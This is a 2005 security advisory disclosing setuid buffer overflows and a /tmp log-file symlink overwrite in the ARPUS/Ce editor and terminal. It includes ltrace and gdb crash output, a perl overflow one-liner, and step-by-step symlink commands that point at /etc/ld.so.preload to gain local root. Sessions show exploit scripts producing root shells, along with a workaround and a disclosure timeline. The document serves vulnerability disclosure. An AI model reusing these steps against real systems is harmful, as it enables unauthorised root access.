DMA[2005-0501a] - 'ARPUS/Ce setuid buffer overflow and file overwrite' Author: Kevin Finisterre Vendor: http://www.swlink.net/~styma/ce.shtml, http://168.158.26.15/ce/ce/ce.html Product: 'Ce/Ceterm' References: http://www.digitalmunition.com/DMA[2005-0501a].txt Description: Ce/Ceterm aka. ARPUS/Ce is an integrated ascii text editor and X based terminal emulator modeled after the editor and terminal emulator on Apollo Domain systems. The ce tool is a robust and extensible programmer's editor. The ceterm tool is meant to be a replacement for vendor-supplied X-based terminal window programs such as IBM's "aixterm", HP's "hpterm", DEC's "decterm", and Sun's "Shell Tool". In the past machines other than SunOS and Apollo had to have ceterm installed as setuid root. Other terminal emulators like xterm also had this requirement because you had to be root in order to open a pseudo terminal. Users that did not have a setuid install of ceterm could recieve messages like "Can't unlock pty /dev/ptym/ptyxx (Not owner)" when attempting to start the program. Running "chown root ce; chmod 4755 ce" will fix this problem however it can also potentially expose the machine running ceterm to several vulnerabilities which will be outlined below. Please note that as of release 2.6, the major releases of ce/ceterm do not need to be setuid. Improvements in pseudo-terminal system code have removed this requirement. Not being setuid root prohibits ceterm from updating UTMP on startup which means the session will not show up in the who command. The who command is a poor excuse for running setuid'ed so it is recommended that the program not be setuid root. As of the Mar. 25, 2005 the option to install as setuid has been removed from the ARPUS/Ce install package. When Ce starts, it checks to see if it is a 'ceterm' (as opposed to 'ce'). If not, it drops the setuid immediately. If it is a ceterm, it drops the setuid as soon as the pseudo terminal is opened. Unfortunately the dropping of privs is not handled properly so an attacker may have several opportunities to abuse the application. Several of the getenv() calls made by ARPUS/ce are vulnerable to buffer overflows. Supplying either a long XAPPLRESLANGPATH or XAPPLRESDIR variable will result in a segfault. XrmMergeDatabases(0x81061b8, 0xbfff8e98, 0, 0, 0) = 0xbfff8e98 getenv("XAPPLRESLANGPATH") = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... sprintf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "%s/%s", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 12674 XrmGetFileDatabase(0xbfff7e60, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0) = 0 getenv("XAPPLRESDIR") = NULL XResourceManagerString(0x8105c28, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0) = 0x8106d80 XrmGetStringDatabase(0x8106d80, 0x80aeb05, 0xbfffdb1e, 0xbfff9330, 0) = 0x810a878 XrmMergeDatabases(0x810a878, 0x41414141, 0xbfffdb1e, 0xbfff9330, 0 --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ getenv("XAPPLRESLANGPATH") = NULL getenv("XAPPLRESDIR") = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... sprintf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "%s/%s", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 12674 XrmGetFileDatabase(0xbfff7e60, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0) = 0 XResourceManagerString(0x8105c28, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0) = 0x8106d80 XrmGetStringDatabase(0x8106d80, 0x80aeb05, 0xbfffd8ca, 0xbfff9330, 0) = 0x810a878 XrmMergeDatabases(0x810a878, 0x41414141, 0xbfffd8ca, 0xbfff9330, 0 --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ In gdb we can see that we have definately overwritten the eip address. gdb) r Starting program: /usr/bin/ce Program received signal SIGSEGV, Segmentation fault. 0x4005d485 in XrmCombineDatabase () from /usr/X11R6/lib/libX11.so.6 (gdb) bt #0 0x4005d485 in XrmCombineDatabase () from /usr/X11R6/lib/libX11.so.6 #1 0x4005d5ef in XrmMergeDatabases () from /usr/X11R6/lib/libX11.so.6 #2 0x080666c7 in GetUsersDatabase () #3 0x41414141 in ?? () #4 0x41414141 in ?? () #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () #10 0x41414141 in ?? () #11 0x41414141 in ?? () Supplying an overly long command line argument to ARPUS/ce will also cause the program to segfault. (gdb) r `perl -e 'print "A" x 9000'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/ce `perl -e 'print "A" x 9000'` Program received signal SIGSEGV, Segmentation fault. 0x080768e2 in normalize_file_name () (gdb) bt #0 0x080768e2 in normalize_file_name () #1 0x41414141 in ?? () #2 0x41414141 in ?? () The final issue that I encountered was caused by the logging facilities of ARPUS/ce. Upon exiting the program attempts to write to /tmp/ce_edit_log. After writing to this file the program executes a chmod 777 on the file. If you can catch the program off gaurd you can cause the file to be written and chmoded as root. write(2, "ce: cannot connect to X server :"..., 47ce: cannot connect to X server :0.0 (Success)) = 47 open("/tmp/ce_edit_log", O_WRONLY|O_APPEND|O_CREAT, 0666) = 3 ... chmod("/tmp/ce_edit_log", 0777) = 0 Under normal circumstances the log files are written with the ownership of the current user. kfinisterre@kfinisterre01:~$ ce a a kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log -rwxrwxrwx 1 kfinisterre kfinisterre 6594 Apr 21 16:35 /tmp/ce_edit_log As stated above however, you can trick ARPUS/ce into writing the log as root. kfinisterre@kfinisterre01:~$ export DISPLAY=yamom kfinisterre@kfinisterre01:~$ ce a a ce: cannot connect to X server yamom (Success) kfinisterre@kfinisterre01:~$ ls -al /tmp/ce_edit_log -rwxrwxrwx 1 root kfinisterre 107 Apr 21 16:36 /tmp/ce_edit_log Creating /tmp/ce_edit_log as root really does not gain you much, however coupled with a symlink it can yield local root. kfinisterre@kfinisterre01:/tmp$ ln -s /etc/yamom /tmp/ce_edit_log kfinisterre@kfinisterre01:/tmp$ ce Xlib: connection to "yamom" refused by server Xlib: No protocol specified ce: cannot connect to X server yamom (Success) kfinisterre@kfinisterre01:/tmp$ ls -al /etc/yamom -rwxrwxrwx 1 root kfinisterre 106 Apr 21 13:26 /etc/yamom The following line will be added to which ever file you chose to symlink to: PID(18608) UID(1000) 'ce: cannot connect to X server yamom (Success)', in file: Since the file should now be mode 777 you can simply edit the file to suit your own needs. /etc/ld.so.preload is an easy target, but be careful! Below are example sessions showing the exploits in process. kfinisterre@kfinisterre01:~$ export DISPLAY=localhost:0.0 kfinisterre@kfinisterre01:~$ ./ce_ex.pl sh-2.05b# id uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre) kfinisterre@kfinisterre01:~$ ./ce_ex2.pl sh-2.05b# id uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre) kfinisterre@kfinisterre01:~$ unset DISPLAY kfinisterre@kfinisterre01:~$ cc -o ex_ceterm ex_ceterm.c kfinisterre@kfinisterre01:~$ ./ex_ceterm /usr/bin/ce: cannot connect to X server dmr0x! (Success) kfinisterre@kfinisterre01:~$ cat /etc/ld.so.preload /tmp/getuid.so kfinisterre@kfinisterre01:~$ id uid=0(root) gid=1000(kfinisterre) euid=1000(kfinisterre) groups=1000(kfinisterre) kfinisterre@kfinisterre01:~$ su kfinisterre01:/home/kfinisterre# rm /etc/ld.so.preload kfinisterre01:/home/kfinisterre# id uid=0(root) gid=0(root) groups=0(root) Work Around: The setuid can be removed and the program will continue to operate. This is true of the 2.5.4 release and beyond. Please note that removing the setuid will prevent utmp from being updated, but this is not a significant issue. Also the current distribution of 2.6 does not setuid the program. Timeline associated with this bug: 04/20/2005 - attempt to contact Robert E. Styma via email 04/21/2005 - initial response 04/22/2005 - information hand off by KF 04/26/2005 - Robert suggests some code changes 04/29/2005 - OK to disclose from Robert 04/30/2005 - Public disclosure Robert E. Styma 'Principal Engineer (DMTS) for Lucent Technologies' was extremely cooperative and responsive with regard to the above mentioned security issues. Actions to correct these issues were promptly put in place. -KF